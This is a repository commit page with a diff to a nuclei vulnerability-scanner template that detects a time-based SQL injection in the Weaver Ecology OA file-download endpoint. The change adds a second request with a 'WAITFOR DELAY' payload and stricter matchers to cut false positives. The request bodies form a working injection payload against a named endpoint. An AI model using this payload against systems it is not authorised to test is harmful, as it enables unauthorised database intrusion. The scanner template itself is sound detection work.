daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity

Merge pull request #8509 from j4vaovo/patch-1 

Fix FP ecology-oa-file-sqli.yaml
patch-1
Ritik Chaddha 2023-11-03 16:27:26 +05:30 committed by GitHub
parent ffb3919f8c 15208b8a09
commit 37106eadbe
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 11 additions and 4 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

15
http/vulnerabilities/other/ecology-oa-file-sqli.yaml
View File

@ -23,14 +23,21 @@ http:
Host: {{Hostname}} Host: {{Hostname}}
isFromOutImg=1&fileid=%d+WAITFOR+DELAY+'0:0:7' isFromOutImg=1&fileid=%d+WAITFOR+DELAY+'0:0:7'
- |
@timeout: 35s
POST /weaver/weaver.file.FileDownloadForOutDoc HTTP/1.1
Host: {{Hostname}}
isFromOutImg=1&fileid=%d+WAITFOR+DELAY+'0:0:15'
matchers-condition: and
matchers: matchers:
- type: dsl - type: dsl
dsl: dsl:
- 'duration>=7' - 'duration_1>=7 && status_code_1 == 200'
- 'status_code == 200' - 'contains(header_1, "ecology_JSessionid=")'
- 'content_length == 0' - 'duration_2>=15 && status_code_2 == 200'
- 'contains(set_cookie, "ecology_JSessionid=")' - 'contains(header_2, "ecology_JSessionid=")'
condition: and condition: and
# digest: 4a0a004730450220706de22bcda877d015e3158b4912359fceab8b5c6888f625675921c48ebf595f022100baf7463de1956ebc43063ae318c3e1e9b4ee0e96dc1652136e8c0b3c68ae1978:922c64590222798bb761d5b6d8e72950 # digest: 4a0a004730450220706de22bcda877d015e3158b4912359fceab8b5c6888f625675921c48ebf595f022100baf7463de1956ebc43063ae318c3e1e9b4ee0e96dc1652136e8c0b3c68ae1978:922c64590222798bb761d5b6d8e72950